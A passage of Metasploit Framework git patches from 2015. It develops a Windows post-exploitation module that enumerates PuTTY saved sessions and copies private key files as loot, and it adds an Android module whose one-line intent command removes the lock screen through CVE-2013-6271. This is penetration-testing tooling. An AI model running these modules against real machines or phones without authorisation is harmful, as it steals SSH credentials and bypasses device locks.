\'#{ses['Name']}\' (#{filename}) could not be read.") end end end @@ -182,6 +182,8 @@ class Metasploit3 < Msf::Post end + print_line # Just for readability + # Now search for SSH stored keys. These could be useful because it shows hosts that the user # has previously connected to and accepted a key from. print_status("Looking for previously stored SSH host key fingerprints") @@ -202,6 +204,16 @@ class Metasploit3 < Msf::Post end end + print_line # Just for readability + + print_status("Looking for Pageant...") + hwnd = client.railgun.user32.FindWindowW("Pageant", "Pageant") + if hwnd['return'] + print_good("Pageant is running (Handle 0x#{sprintf("%x",hwnd['return'])})") + else + print_error("Pageant is not running") + end + end end From 5e4566712a207242ed6dc3519d7355a2d4e676be Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 16:00:44 +0100 Subject: [PATCH 012/119] Added more detailed description --- modules/post/windows/gather/enum_putty_saved_sessions.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index df76db11ca..a3a553ab3c 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -24,9 +24,10 @@ class Metasploit3 < Msf::Post This module will identify whether Pageant (PuTTY Agent) is running and obtain saved session information from the registry. PuTTY is very configurable; some users may have configured saved sessions which could include a username, private key file to use when authenticating, - host name etc. - - If a private key is configured, an attempt will be made to download and store it in loot. + host name etc. If a private key is configured, an attempt will be made to download and store + it in loot. It will also record the SSH host keys which have been stored. These will be connections that + the user has previously after accepting the host SSH fingerprint and therefore are of particular + interest if they are within scope of a penetration test. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], From f1955cb15dc644e1996b2bf279f238101fa10099 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 16:09:19 +0100 Subject: [PATCH 013/119] Rubocopped the file --- .../gather/enum_putty_saved_sessions.rb | 187 +++++++++--------- 1 file changed, 89 insertions(+), 98 deletions(-) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index a3a553ab3c..915fbf9f0d 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -14,45 +14,43 @@ class Metasploit3 < Msf::Post include Msf::Post::File include Msf::Post::Windows::Registry - INTERESTING_KEYS=['HostName','PublicKeyFile','UserName','PortNumber','PortForwardings'] - PAGEANT_REGISTRY_KEY="HKCU\\Software\\SimonTatham\\PuTTY" + INTERESTING_KEYS = ['HostName', 'PublicKeyFile', 'UserName', 'PortNumber', 'PortForwardings'] + PAGEANT_REGISTRY_KEY = "HKCU\\Software\\SimonTatham\\PuTTY" - def initialize(info={}) + def initialize(info = {}) super(update_info(info, - 'Name' => "PuTTY Saved Sessions Enumeration Module", - 'Description' => %q{ - This module will identify whether Pageant (PuTTY Agent) is running and obtain saved session - information from the registry. PuTTY is very configurable; some users may have configured - saved sessions which could include a username, private key file to use when authenticating, - host name etc. If a private key is configured, an attempt will be made to download and store - it in loot. It will also record the SSH host keys which have been stored. These will be connections that - the user has previously after accepting the host SSH fingerprint and therefore are of particular - interest if they are within scope of a penetration test. - }, - 'License' => MSF_LICENSE, - 'Platform' => ['win'], - 'SessionTypes' => ['meterpreter'], - 'Author' => ['Stuart Morgan '] - )) + 'Name' => "PuTTY Saved Sessions Enumeration Module", + 'Description' => %q{ + This module will identify whether Pageant (PuTTY Agent) is running and obtain saved session + information from the registry. PuTTY is very configurable; some users may have configured + saved sessions which could include a username, private key file to use when authenticating, + host name etc. If a private key is configured, an attempt will be made to download and store + it in loot. It will also record the SSH host keys which have been stored. These will be connections that + the user has previously after accepting the host SSH fingerprint and therefore are of particular + interest if they are within scope of a penetration test. + }, + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Stuart Morgan '] + )) end def get_saved_session_details(sessions) - all_sessions = [] sessions.each do |ses| - newses = {} - newses['Name'] = Rex::Text.uri_decode(ses) - INTERESTING_KEYS.each do |key| - newses[key] = registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\Sessions\\#{ses}", key).to_s - end - all_sessions << newses - report_note(host: target_host, type: "putty.savedsession", data: newses, update: :unique_data) - end + newses = {} + newses['Name'] = Rex::Text.uri_decode(ses) + INTERESTING_KEYS.each do |key| + newses[key] = registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\Sessions\\#{ses}", key).to_s + end + all_sessions << newses + report_note(host: target_host, type: "putty.savedsession", data: newses, update: :unique_data) + end all_sessions end def display_saved_sessions_report(info) - # Results table holds raw string data results_table = Rex::Ui::Text::Table.new( 'Header' => "PuTTY Saved Sessions", @@ -66,7 +64,7 @@ class Metasploit3 < Msf::Post row << result['Name'] INTERESTING_KEYS.each do |key| row << result[key] - end + end results_table << row end @@ -77,47 +75,44 @@ class Metasploit3 < Msf::Post end def get_stored_host_key_details(allkeys) - # This hash will store (as the key) host:port pairs. This is basically a quick way of # getting a unique list of host:port pairs. all_ssh_host_keys = {} # This regex will split up lines such as rsa2@22:127.0.0.1 from the registry. - rx_split_hostporttype = %r{^(?[-a-z0-9]+?)@(?[0-9]+?):(?.+)$}i + rx_split_hostporttype = /^(?[-a-z0-9]+?)@(?[0-9]+?):(?.+)$/i # Go through each of the stored keys found in the registry allkeys.each do |key| + # Store the raw key and value in a hash to start off with + newkey = { + rawname: key, + rawsig: registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys", key).to_s + } - # Store the raw key and value in a hash to start off with - newkey = { - rawname: key, - rawsig: registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys", key).to_s - } + # Take the key and split up host, port and fingerprint type. If it matches, store the information + # in the hash for later. + split_hostporttype = rx_split_hostporttype.match(key.to_s) + if split_hostporttype - # Take the key and split up host, port and fingerprint type. If it matches, store the information - # in the hash for later. - split_hostporttype = rx_split_hostporttype.match(key.to_s) - if split_hostporttype + # Extract the host, port and key type into the hash + newkey['host'] = split_hostporttype[:host] + newkey['port'] = split_hostporttype[:port] + newkey['type'] = split_hostporttype[:type] - # Extract the host, port and key type into the hash - newkey['host'] = split_hostporttype[:host] - newkey['port'] = split_hostporttype[:port] - newkey['type'] = split_hostporttype[:type] + # Form the key + host_port = "#{newkey['host']}:#{newkey['port']}" - # Form the key - host_port = "#{newkey['host']}:#{newkey['port']}" - - # Add it to the consolidation hash. If the same IP has different key types, append to the array - all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil? - all_ssh_host_keys[host_port] << newkey['type'] - end - report_note(host: target_host, type: "putty.storedfingerprint", data: newkey, update: :unique_data) - end + # Add it to the consolidation hash. If the same IP has different key types, append to the array + all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil? + all_ssh_host_keys[host_port] << newkey['type'] + end + report_note(host: target_host, type: "putty.storedfingerprint", data: newkey, update: :unique_data) + end all_ssh_host_keys end def display_stored_host_keys_report(info) - # Results table holds raw string data results_table = Rex::Ui::Text::Table.new( 'Header' => "Stored SSH host key fingerprints", @@ -126,7 +121,7 @@ class Metasploit3 < Msf::Post 'Columns' => ['SSH Endpoint', 'Key Type(s)'] ) - info.each do |key,result| + info.each do |key, result| row = [] row << key row << result.join(', ') @@ -141,68 +136,66 @@ class Metasploit3 < Msf::Post def grab_private_keys(sessions) sessions.each do |ses| + filename = ses['PublicKeyFile'].to_s + next if filename.empty? - filename = ses['PublicKeyFile'].to_s - next if filename.empty? - - # Check whether the file exists. - if file?(filename) - if ppk = read_file(filename) # Attempt to read the contents of the file - stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk) - print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") - else - print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc - end + # Check whether the file exists. + if file?(filename) + ppk = read_file(filename) + if ppk # Attempt to read the contents of the file + stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk) + print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") else - print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.") + print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc end + else + print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.") + end end end - # Entry point def run - # Look for saved sessions, break out if not. print_status("Looking for saved PuTTY sessions") saved_sessions = registry_enumkeys("#{PAGEANT_REGISTRY_KEY}\\Sessions") if saved_sessions.nil? || saved_sessions.empty? - print_error('No saved sessions found') + print_error('No saved sessions found') else - # Tell the user how many sessions have been found (with correct English) - print_status("Found #{saved_sessions.count} session#{saved_sessions.count>1?'s':''}") - - # Retrieve the saved session details & print them to the screen in a report - all_saved_sessions = get_saved_session_details(saved_sessions) - display_saved_sessions_report(all_saved_sessions) - - # If the private key file has been configured, retrieve it and save it to loot - print_status("Downloading private keys...") - grab_private_keys(all_saved_sessions) + # Tell the user how many sessions have been found (with correct English) + print_status("Found #{saved_sessions.count} session#{saved_sessions.count > 1 ? 's' : ''}") + + # Retrieve the saved session details & print them to the screen in a report + all_saved_sessions = get_saved_session_details(saved_sessions) + display_saved_sessions_report(all_saved_sessions) + + # If the private key file has been configured, retrieve it and save it to loot + print_status("Downloading private keys...") + grab_private_keys(all_saved_sessions) end print_line # Just for readability # Now search for SSH stored keys. These could be useful because it shows hosts that the user - # has previously connected to and accepted a key from. + # has previously connected to and accepted a key from. print_status("Looking for previously stored SSH host key fingerprints") - stored_ssh_host_keys = registry_enumvals('HKCU\\Software\\SimonTatham\\PuTTY\\SshHostKeys') + stored_ssh_host_keys = registry_enumvals("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys") if stored_ssh_host_keys.nil? || stored_ssh_host_keys.empty? - print_error('No stored SSH host keys found') + print_error('No stored SSH host keys found') else - # Tell the user how many sessions have been found (with correct English) - print_status("Found #{stored_ssh_host_keys.count} stored key fingerprint#{stored_ssh_host_keys.count>1?'s':''}") + # Tell the user how many sessions have been found (with correct English) + print_status("Found #{stored_ssh_host_keys.count} stored key fingerprint#{stored_ssh_host_keys.count > 1 ? 's' : ''}") - # Retrieve the saved session details & print them to the screen in a report - print_status("Downloading stored key fingerprints...") - all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys) - if all_stored_keys.nil? || all_stored_keys.empty? - print_error("No stored key fingerprints found") - else - display_stored_host_keys_report(all_stored_keys) - end + # Retrieve the saved session details & print them to the screen in a report + print_status("Downloading stored key fingerprints...") + all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys) + if all_stored_keys.nil? || all_stored_keys.empty? + print_error("No stored key fingerprints found") + else + display_stored_host_keys_report(all_stored_keys) + end end print_line # Just for readability @@ -210,11 +203,9 @@ class Metasploit3 < Msf::Post print_status("Looking for Pageant...") hwnd = client.railgun.user32.FindWindowW("Pageant", "Pageant") if hwnd['return'] - print_good("Pageant is running (Handle 0x#{sprintf("%x",hwnd['return'])})") + print_good("Pageant is running (Handle 0x#{sprintf('%x', hwnd['return'])})") else - print_error("Pageant is not running") - end - + print_error("Pageant is not running") + end end - end From 77cf2ec60e7559b16d5a6652e28ef3875c9175b8 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Mon, 18 May 2015 11:20:53 +0100 Subject: [PATCH 014/119] Added basic private key detection and parsing --- .../gather/enum_putty_saved_sessions.rb | 68 ++++++++++++++++++- 1 file changed, 66 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index 915fbf9f0d..47653ecd40 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -16,6 +16,7 @@ class Metasploit3 < Msf::Post INTERESTING_KEYS = ['HostName', 'PublicKeyFile', 'UserName', 'PortNumber', 'PortForwardings'] PAGEANT_REGISTRY_KEY = "HKCU\\Software\\SimonTatham\\PuTTY" + PUTTY_PRIVATE_KEY_ANALYSIS = ['Name','HostName','PublicKeyFile','Type','Cipher','Comment'] def initialize(info = {}) super(update_info(info, @@ -74,6 +75,29 @@ class Metasploit3 < Msf::Post print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") end + def display_private_key_analysis(info) + # Results table holds raw string data + results_table = Rex::Ui::Text::Table.new( + 'Header' => "PuTTY Private Keys", + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => ['Name','HostName','PublicKeyFile','Type','Cipher','Comment'] + ) + + info.each do |result| + row = [] + PUTTY_PRIVATE_KEY_ANALYSIS.each do |key| + row << result[key] + end + results_table << row + end + + print_line + print_line results_table.to_s + #stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List") + #print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") + end + def get_stored_host_key_details(allkeys) # This hash will store (as the key) host:port pairs. This is basically a quick way of # getting a unique list of host:port pairs. @@ -135,6 +159,7 @@ class Metasploit3 < Msf::Post end def grab_private_keys(sessions) + private_key_summary = [] sessions.each do |ses| filename = ses['PublicKeyFile'].to_s next if filename.empty? @@ -145,6 +170,41 @@ class Metasploit3 < Msf::Post if ppk # Attempt to read the contents of the file stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk) print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") + + # Now analyse the private key + private_key = {} + private_key['Name'] = ses['Name'] + private_key['HostName'] = ses['HostName'] + private_key['PublicKeyFile'] = ses['PublicKeyFile'] + private_key['Type'] = '' + private_key['Cipher'] = '' + private_key['Comment'] = '' + + # Get type of key + if ppk.to_s =~ /^SSH PRIVATE KEY FILE FORMAT 1.1/ + # This is an SSH1 header + private_key['Type'] = 'ssh1' + if ppk[33] == "\x00" + private_key['Cipher'] = 'none' + elsif ppk[33] == "\x03" + private_key['Cipher'] = '3DES' + else + private_key['Cipher'] = '(Unrecognised)' + end + elsif rx = /^PuTTY-User-Key-File-2:\sssh-(?rsa|dss)[\r\n]/.match(ppk.to_s) + # This is an SSH2 header + private_key['Type'] = "ssh2 (#{rx[:keytype]})" + if rx = /^Encryption:\s(?[-a-z0-9]+?)[\r\n]/.match(ppk.to_s) + private_key['Cipher'] = rx[:cipher] + else + private_key['Cipher'] = '(Unrecognised)' + end + + if rx = /^Comment:\s(?.+?)[\r\n]/.match(ppk.to_s) + private_key['Comment'] = rx[:comment] + end + end + private_key_summary << private_key else print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc end @@ -152,6 +212,7 @@ class Metasploit3 < Msf::Post print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.") end end + private_key_summary end # Entry point @@ -172,8 +233,11 @@ class Metasploit3 < Msf::Post # If the private key file has been configured, retrieve it and save it to loot print_status("Downloading private keys...") - grab_private_keys(all_saved_sessions) - + private_key_info = grab_private_keys(all_saved_sessions) + if (!private_key_info.nil? && !private_key_info.empty?) + print_line + display_private_key_analysis(private_key_info) + end end print_line # Just for readability From 7f16b7164fcfdb0266922b6f45c559079e533d62 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Mon, 18 May 2015 11:43:08 +0100 Subject: [PATCH 015/119] Added database writing code --- .../gather/enum_putty_saved_sessions.rb | 45 +++++++++++++++++++ 1 file changed, 45 insertions(+) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index 47653ecd40..4062ee250e 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -174,11 +174,14 @@ class Metasploit3 < Msf::Post # Now analyse the private key private_key = {} private_key['Name'] = ses['Name'] + private_key['Port'] = ses['PortNumber'] + private_key['UserName'] = ses['UserName'] private_key['HostName'] = ses['HostName'] private_key['PublicKeyFile'] = ses['PublicKeyFile'] private_key['Type'] = '' private_key['Cipher'] = '' private_key['Comment'] = '' + private_key['KeyData'] = ppk # Get type of key if ppk.to_s =~ /^SSH PRIVATE KEY FILE FORMAT 1.1/ @@ -215,6 +218,43 @@ class Metasploit3 < Msf::Post private_key_summary end + def store_private_key_in_db(username,host,port,key) + service_data = { + address: host, + port: port, + service_name: 'ssh', + protocol: 'tcp', + workspace_id: myworkspace_id, + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: refname, + username: username, + realm: nil, + realm_key: nil, + auth_methods: ['publickey'], + key_data: key + } + + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + status = Metasploit::Model::Login::Status::UNTRIED + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: status + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + create_credential_login(login_data) + end + # Entry point def run # Look for saved sessions, break out if not. @@ -237,6 +277,11 @@ class Metasploit3 < Msf::Post if (!private_key_info.nil? && !private_key_info.empty?) print_line display_private_key_analysis(private_key_info) + + # Store unencrypted keys in the DB + private_key_info.each do |ses| + store_private_key_in_db(ses['UserName'],ses['HostName'],ses['PortNumber'],ses['KeyData']) if ses['Cipher']=='none' + end end end From cf05e695368d77f8fdc1dde8621eba3dfcf8e2c6 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Mon, 18 May 2015 11:51:27 +0100 Subject: [PATCH 016/119] Removed database storage for now (need to convert keys to OpenSSH format and resolve IP addresses first) --- .../gather/enum_putty_saved_sessions.rb | 51 ++----------------- 1 file changed, 4 insertions(+), 47 deletions(-) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index 4062ee250e..d1aa2ce8b5 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Post include Msf::Post::File include Msf::Post::Windows::Registry - INTERESTING_KEYS = ['HostName', 'PublicKeyFile', 'UserName', 'PortNumber', 'PortForwardings'] + INTERESTING_KEYS = ['HostName', 'UserName', 'PublicKeyFile', 'PortNumber', 'PortForwardings'] PAGEANT_REGISTRY_KEY = "HKCU\\Software\\SimonTatham\\PuTTY" - PUTTY_PRIVATE_KEY_ANALYSIS = ['Name','HostName','PublicKeyFile','Type','Cipher','Comment'] + PUTTY_PRIVATE_KEY_ANALYSIS = ['Name','HostName','UserName','PublicKeyFile','Type','Cipher','Comment'] def initialize(info = {}) super(update_info(info, @@ -81,7 +81,7 @@ class Metasploit3 < Msf::Post 'Header' => "PuTTY Private Keys", 'Indent' => 1, 'SortIndex' => -1, - 'Columns' => ['Name','HostName','PublicKeyFile','Type','Cipher','Comment'] + 'Columns' => PUTTY_PRIVATE_KEY_ANALYSIS ) info.each do |result| @@ -174,19 +174,18 @@ class Metasploit3 < Msf::Post # Now analyse the private key private_key = {} private_key['Name'] = ses['Name'] - private_key['Port'] = ses['PortNumber'] private_key['UserName'] = ses['UserName'] private_key['HostName'] = ses['HostName'] private_key['PublicKeyFile'] = ses['PublicKeyFile'] private_key['Type'] = '' private_key['Cipher'] = '' private_key['Comment'] = '' - private_key['KeyData'] = ppk # Get type of key if ppk.to_s =~ /^SSH PRIVATE KEY FILE FORMAT 1.1/ # This is an SSH1 header private_key['Type'] = 'ssh1' + private_key['Comment'] = '-' if ppk[33] == "\x00" private_key['Cipher'] = 'none' elsif ppk[33] == "\x03" @@ -218,43 +217,6 @@ class Metasploit3 < Msf::Post private_key_summary end - def store_private_key_in_db(username,host,port,key) - service_data = { - address: host, - port: port, - service_name: 'ssh', - protocol: 'tcp', - workspace_id: myworkspace_id, - } - - credential_data = { - origin_type: :session, - session_id: session_db_id, - post_reference_name: refname, - username: username, - realm: nil, - realm_key: nil, - auth_methods: ['publickey'], - key_data: key - } - - credential_data.merge!(service_data) - - # Create the Metasploit::Credential::Core object - credential_core = create_credential(credential_data) - status = Metasploit::Model::Login::Status::UNTRIED - - # Assemble the options hash for creating the Metasploit::Credential::Login object - login_data = { - core: credential_core, - status: status - } - - # Merge in the service data and create our Login - login_data.merge!(service_data) - create_credential_login(login_data) - end - # Entry point def run # Look for saved sessions, break out if not. @@ -277,11 +239,6 @@ class Metasploit3 < Msf::Post if (!private_key_info.nil? && !private_key_info.empty?) print_line display_private_key_analysis(private_key_info) - - # Store unencrypted keys in the DB - private_key_info.each do |ses| - store_private_key_in_db(ses['UserName'],ses['HostName'],ses['PortNumber'],ses['KeyData']) if ses['Cipher']=='none' - end end end From 8b8ed04a73611456cc52b809c967334d88284843 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Mon, 18 May 2015 11:56:12 +0100 Subject: [PATCH 017/119] Rubocop --- .../gather/enum_putty_saved_sessions.rb | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index d1aa2ce8b5..00d38c0806 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Post INTERESTING_KEYS = ['HostName', 'UserName', 'PublicKeyFile', 'PortNumber', 'PortForwardings'] PAGEANT_REGISTRY_KEY = "HKCU\\Software\\SimonTatham\\PuTTY" - PUTTY_PRIVATE_KEY_ANALYSIS = ['Name','HostName','UserName','PublicKeyFile','Type','Cipher','Comment'] + PUTTY_PRIVATE_KEY_ANALYSIS = ['Name', 'HostName', 'UserName', 'PublicKeyFile', 'Type', 'Cipher', 'Comment'] def initialize(info = {}) super(update_info(info, @@ -94,8 +94,8 @@ class Metasploit3 < Msf::Post print_line print_line results_table.to_s - #stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List") - #print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") + # stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List") + # print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") end def get_stored_host_key_details(allkeys) @@ -187,23 +187,23 @@ class Metasploit3 < Msf::Post private_key['Type'] = 'ssh1' private_key['Comment'] = '-' if ppk[33] == "\x00" - private_key['Cipher'] = 'none' + private_key['Cipher'] = 'none' elsif ppk[33] == "\x03" - private_key['Cipher'] = '3DES' + private_key['Cipher'] = '3DES' else - private_key['Cipher'] = '(Unrecognised)' + private_key['Cipher'] = '(Unrecognised)' end elsif rx = /^PuTTY-User-Key-File-2:\sssh-(?rsa|dss)[\r\n]/.match(ppk.to_s) # This is an SSH2 header private_key['Type'] = "ssh2 (#{rx[:keytype]})" if rx = /^Encryption:\s(?[-a-z0-9]+?)[\r\n]/.match(ppk.to_s) - private_key['Cipher'] = rx[:cipher] + private_key['Cipher'] = rx[:cipher] else - private_key['Cipher'] = '(Unrecognised)' + private_key['Cipher'] = '(Unrecognised)' end if rx = /^Comment:\s(?.+?)[\r\n]/.match(ppk.to_s) - private_key['Comment'] = rx[:comment] + private_key['Comment'] = rx[:comment] end end private_key_summary << private_key @@ -236,9 +236,9 @@ class Metasploit3 < Msf::Post # If the private key file has been configured, retrieve it and save it to loot print_status("Downloading private keys...") private_key_info = grab_private_keys(all_saved_sessions) - if (!private_key_info.nil? && !private_key_info.empty?) + if !private_key_info.nil? && !private_key_info.empty? print_line - display_private_key_analysis(private_key_info) + display_private_key_analysis(private_key_info) end end From 45b2632d218c24721bac9b106b5563f245bb0545 Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 26 May 2015 06:47:44 +0100 Subject: [PATCH 018/119] android 4.x remove locks (without root) --- modules/post/android/manage/remove_lock.rb | 53 ++++++++++++++++++++++ 1 file changed, 53 insertions(+) create mode 100644 modules/post/android/manage/remove_lock.rb diff --git a/modules/post/android/manage/remove_lock.rb b/modules/post/android/manage/remove_lock.rb new file mode 100644 index 0000000000..16e58448dd --- /dev/null +++ b/modules/post/android/manage/remove_lock.rb @@ -0,0 +1,53 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Post + Rank = NormalRanking + + include Msf::Post::Common + + def initialize(info={}) + super( update_info( info, { + 'Name' => "Android Settings Remove Device Locks", + 'Description' => %q{ + This module exploits a bug in the Android 4.0 to 4.3 com.android.settings.ChooseLockGeneric class. + Any unprivileged app can exploit this vulnerability to remove the lockscreen. + A logic flaw / design error exists in the settings application that allows an Intent from any + application to clear the screen lock. The user may see that the Settings application has crashed, + and the phone can then be unlocked by a swipe. + This vulnerability was patched in Android 4.4. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'CureSec', # discovery + 'timwr' # metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-6271' ], + [ 'URL', 'http://blog.curesec.com/article/blog/26.html' ], + [ 'URL', 'http://www.curesec.com/data/advisories/Curesec-2013-1011.pdf' ] + ], + 'SessionTypes' => [ 'meterpreter', 'shell' ], + 'Platform' => 'android', + 'DisclosureDate' => "Oct 11 2013" + } + )) + end + + def run + buildprop = cmd_exec('cat /system/build.prop') + unless buildprop =~ /ro.build.version.release=4.[0|1|2|3]/ + print_error("This module is only compatible with Android versions 4.0 to 4.3") + return + end + + cmd_exec('am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task') + end + +end + From c396fe2c68c14b9bad5d8b490f20b38ba1f7f36d Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 2 Jun 2015 05:51:17 +0100 Subject: [PATCH 019/119] let the user know whether the command succeeded --- modules/post/android/manage/remove_lock.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/modules/post/android/manage/remove_lock.rb b/modules/post/android/manage/remove_lock.rb index 16e58448dd..df3f239e6b 100644 --- a/modules/post/android/manage/remove_lock.rb +++ b/modules/post/android/manage/remove_lock.rb @@ -46,7 +46,13 @@ class Metasploit4 < Msf::Post return end - cmd_exec('am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task') + output = cmd_exec('am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task') + if output =~ /Error:/ + print_error("The Intent could not be started") + vprint_status("Command output: #{output}") + else + print_good("Intent started, the lock screen should now have been removed") + end end end From a5469fd906f1551ccd48367fa3eece80cb339d1a Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 19 Jun 2015 21:28:47 +0100 Subject: [PATCH 020/119] Remove redundant methods --- lib/msf/core/session.rb | 16 ---------------- 1 file changed, 16 deletions(-) diff --git a/lib/msf/core/session.rb b/lib/msf/core/session.rb index 25b786426b..3a84221c7a 100644 --- a/lib/msf/core/session.rb +++ b/lib/msf/core/session.rb @@ -225,22 +225,6 @@ module Session "session_#{name}" end - # - # This method logs the supplied buffer as coming from the remote side of - # the session. - # - def log_from_remote(buf) - rlog(buf, log_source) - end - - # - # This method logs the supplied buffer as coming from the local side of - # the session. - # - def log_from_local(buf) - rlog(buf, log_source) - end - ## # # Core interface From 64449d50358c0da6a55f14c66697f8537d1ed628 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 19 Jun 2015 21:50:42 +0100 Subject: [PATCH 021/119] Timestamp session output --- lib/msf/base/logging.rb | 2 +- lib/rex/logging/log_sink.rb | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/base/logging.rb b/lib/msf/base/logging.rb index 0a0c475c5b..893d97031a 100644 --- a/lib/msf/base/logging.rb +++ b/lib/msf/base/logging.rb @@ -80,7 +80,7 @@ class Logging # @return [void] def self.start_session_log(session) if (log_source_registered?(session.log_source) == false) - f = Rex::Logging::Sinks::Flatfile.new( + f = Rex::Logging::Sinks::TimestampFlatfile.new( Msf::Config.session_log_directory + File::SEPARATOR + "#{session.log_file_name}.log") register_log_source(session.log_source, f) diff --git a/lib/rex/logging/log_sink.rb b/lib/rex/logging/log_sink.rb index cbb89471a4..e5cd5e8df7 100644 --- a/lib/rex/logging/log_sink.rb +++ b/lib/rex/logging/log_sink.rb @@ -41,3 +41,4 @@ end require 'rex/logging/sinks/flatfile' require 'rex/logging/sinks/stderr' +require 'rex/logging/sinks/timestamp_logfile' From 50cd15c52a6e0ea27be95016e7aa20adfade5236 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 19 Jun 2015 21:56:39 +0100 Subject: [PATCH 022/119] Add the logsink --- lib/rex/logging/sinks/timestamp_logfile.rb | 23 ++++++++++++++++++++++ 1 file changed, 23 insertions(+) create mode 100644 lib/rex/logging/sinks/timestamp_logfile.rb diff --git a/lib/rex/logging/sinks/timestamp_logfile.rb b/lib/rex/logging/sinks/timestamp_logfile.rb new file mode 100644 index 0000000000..c962c3fef3 --- /dev/null +++ b/lib/rex/logging/sinks/timestamp_logfile.rb @@ -0,0 +1,23 @@ +# -*- coding: binary -*- +module Rex +module Logging +module Sinks + +### +# +# This class implements the LogSink interface and backs it against a +# file on disk with a Timestamp. +# +### +class 